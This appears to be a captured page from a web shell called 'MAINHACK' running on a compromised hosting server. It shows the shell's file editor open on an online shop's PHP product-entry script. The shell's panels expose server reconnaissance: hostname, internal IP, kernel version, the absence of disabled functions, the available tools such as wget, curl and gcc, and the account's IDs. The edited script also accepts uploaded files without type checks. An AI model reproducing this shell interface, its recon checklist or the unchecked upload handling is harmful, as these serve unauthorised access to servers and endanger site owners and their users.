[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: entry_product.php
<?php include('header.php'); $show=new Oops($db); ?> <script src="tinymce/tinymce.min.js"></script> <script>tinymce.init({ selector:'textarea' });</script> <script type="text/javascript"> $(document).ready(function(){ // Add more $('#addmore').click(function(){ // Get last id var lastname_id = $('.tr_input input[type=text]:nth-child(1)').last().attr('id'); var split_id = lastname_id.split('_'); // alert('ss'); // New index var index = Number(split_id[1]) + 1; // Create row with input elements var html = "<div class='tr_input'><table class='table'><tbody><tr><td><input type='text' id='testcode_"+index+"' name='size[]'/></td><td><a href='javascript:void(0);' id='remove_field' class='btn btn-danger remCF' >-</a></td></tr></tbody></table></div>"; // Append data $('#tab').append(html); }); $("#tab").on('click','.remCF',function(){ $(this).parent().parent().remove(); }); }); $(document).ready(function(){ $("input[type='radio']").on('click', function(){ var radioValue = $("input[name='type']:checked").val(); if(radioValue=='1'){ $('#fashion').show(); }else{ $('#fashion').hide(); } }); }); $(document).ready(function(){ $("#category").on('change', function(){ var value=$('#category').val(); var cate=value.split(':'); $('#gst').val(cate[2]); $('#delivery_charge').val(cate[3]); $('#main_cate').val(cate[0]); $('#cate').val(cate[1]); }); }); </script> <!-- page-wrapper --> <div id="page-wrapper"> <div class="main-page"> <!-- Form Elements --> <div class="form-grids row widget-shadow" data-example-id="basic-forms"> <div class="form-title"> <h4>Entry Product:</h4> </div> <div class="form-body"> <form role="form" method="post" enctype="multipart/form-data"> <div class="col-md-4"> <div class="form-group"> <label>Choose Product Type</label> <input type="radio" name="type" value="1" required> Fashion <input type="radio" name="type" value="0" checked required> Non-Fashion </div> </div> <div class="col-md-2"> <div class="form-group"> <label>Category</label> <select id="category" class="form-control" required> <option value="">Category</option> <?php $table='category'; $stmt=$show->readAll($table); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row['main_category'].":".$row['category'].":".$row['gst'].":".$row['delivery_charge']."'>".$row['category']."</option>"; } } ?> </select> </div> </div> <div class="col-md-5"> <div class="form-group"> <label>Product Name</label> <input type="text" name="pname" class="form-control" placeholder="Product Name" required> </div> </div> <div class="col-md-2"> <label>Quantity</label> <input type="number" class="form-control" pattern="[0-9]+" title="Qty" placeholder="Qty" name="qty" size="30" required> </div> <div class="col-md-2"> <label>Price</label> <input type="text" class="form-control" placeholder="Price" name="price" size="30" required> </div> <div class="col-md-2"> <label>Discounted Price</label> <input type="text" class="form-control" title="Qty" placeholder="Discounted Price" name="dis_price" size="30" required> <span class="note">Note: If discount is not given please put the price in the discounted price box</span> </div> <div class="col-md-2"> <label>GST(%)</label> <input type="text" name="gst" id="gst" class="form-control" placeholder="GST (number only)" readonly> <input type="hidden" name="category" id="cate" readonly> <input type="hidden" name="main_category" id="main_cate" readonly> </div> <div class="col-md-2"> <label>Delivery Chrge</label> <input type="text" name="delivery_charge" id="delivery_charge" class="form-control" placeholder="Delivery Chrge (number only)" readonly> </div> <div class="col-md-2"> <label>SKU NO</label> <input type="text" class="form-control" title="Qty" placeholder="SKU Number" name="stu" size="30" required> </div> <div class="col-md-2"> <label>Trending</label> <input type="radio" name="trending" value="Yes" required> Yes <input type="radio" name="trending" value="No" required> No </div> <div class="col-md-2"> <div class="form-group"> <label>Image</label> <span class="note">Max File size:100kb.(400*600px)</span> <input type="file" name="file[]" id="img1" onchange="return fileValidation('img1','200')" > <input type="file" name="file[]" id="img2" onchange="return fileValidation('img2','200')" > <input type="file" name="file[]" id="img3" onchange="return fileValidation('img3','200')" > <input type="file" name="file[]" id="img4" onchange="return fileValidation('img4','200')" > <input type="file" name="file[]" id="img5" onchange="return fileValidation('img5','200')" > </div> </div> <div id="fashion" style="display:none"> <div class="col-md-6"> <div class="form-group"> <input type="hidden" id="getid" value="1"> <label>Add Size</label> <div class='tr_input' id="tab" style="border:none !important;"> <table class="table"> <thead><tr> <th>Size</th> <th>Add/Remove</th> </tr> </thead> <tbody> <tr> <td><input type='text' id='dtestcode_1' name='size[]'> </td> <td><input type='button' class="btn btn-info" value='+' id='addmore'></td> </tr> </tbody> </table> </div> </div> </div> <div class="col-md-2"> <div class="form-group"> <label>Color</label> <select class="form-control" id='testcode_1' name='color' > <option value="">All Color</option> <option value="Black" style="background-color: Black;color: #FFFFFF;">Black</option> <option value="Gray" style="background-color: Gray;">Gray</option> <option value="White" style="background-color: White;">White</option> <option value="Blue" style="background-color: Blue;">Blue</option> <option value="Purple" style="background-color: Purple;color: #FFFFFF;">Purple</option> <option value="Violet" style="background-color: Violet;">Violet</option> <option value="Pink" style="background-color: Pink;">Pink</option> <option value="Green" style="background-color: Green;color: #FFFFFF;">Green</option> <option value="Yellow" style="background-color: Yellow;">Yellow</option> <option value="Orange" style="background-color: Orange;">Orange</option> <option value="Red" style="background-color: Red;">Red</option> <option value="Brown" style="background-color: Brown;">Brown</option> <option value="Beige" style="background-color: Beige;">Beige</option> <option value="multi" style="background-color:;">Multi-color</option> </select> </div> </div> </div> <div class="col-lg-12"> <div class="form-group"> <label>Description</label> <textarea placeholder="Description" name="desc"> </textarea> </div> </div> <div class="col-lg-6"> <input type="submit" class="btn btn-primary" name="sub" value="submit"> <button type="reset" id="" class="btn btn-success">Reset Button</button> </div> </div> </form> <?php if(isset($_POST['sub'])){ $uid=$show->getid('ids','PROD'); if(isset($_POST['size'])){ foreach($_POST['size'] as $key=>$n){ if(!empty($n)){ $data=array( 'product_id'=>$uid, 'size'=>htmlentities(strip_tags($_POST['size'][$key])), ); $r=$show->insert('product_size',$data); } } } if ($_FILES['file']['size'] == 0 && $_FILES['file']['error'] == 4){ $img=''; }else{ foreach($_FILES['file']['tmp_name'] as $key=>$value){ $img1=$show->imageEdit($_FILES['file']['name'][$key]); $data1 = array( 'product_id' => $uid, 'image' => $img1, ); // print_r($data1); if(move_uploaded_file($_FILES['file']['tmp_name'][$key],"../product_img/".$img1)){ if($show->insert('product_img',$data1)){ } } } $img=$show->imageEdit($_FILES['file']['name'][0]); } $price=$_POST['price']; $price1=$_POST['dis_price']; $dis=$price-$price1; $total_dis=$dis/$price; $dis_per=$total_dis*100; $discount=round($dis_per); $data=array( 'product_id'=>$uid, 'name'=>htmlentities(strip_tags($_POST['pname'])), 'description'=>$_POST['desc'], 'category'=>htmlentities(strip_tags($_POST['category'])), 'main_category'=>htmlentities(strip_tags($_POST['main_category'])), 'updated_by'=>'Admin', 'date'=>date('d-m-Y'), 'quantity'=>htmlentities(strip_tags($_POST['qty'])), 'stu_number'=>htmlentities(strip_tags($_POST['stu'])), 'trending'=>htmlentities(strip_tags($_POST['trending'])), 'color'=>htmlentities(strip_tags($_POST['color'])), 'gst'=>htmlentities(strip_tags($_POST['gst'])), 'delivery_charge'=>htmlentities(strip_tags($_POST['delivery_charge'])), 'status'=>'ACTIVE', 'price'=>htmlentities(strip_tags($_POST['price'])), 'discounted_price'=>htmlentities(strip_tags($_POST['dis_price'])), 'discount'=>$discount, 'size'=>htmlentities(strip_tags($_POST['type'])), ); if($show->insert('product',$data)){ echo "<script>sweetAlert('OK','New Product has been added','success');</script>"; } } ?> </div> </div> </div> <!-- End Form Elements --> </div> <script type="text/javascript"> // When the document is ready $(document).ready(function(){ $("#date").datepicker({ format: 'dd-mm-yyyy', }); }); </script> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.49 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619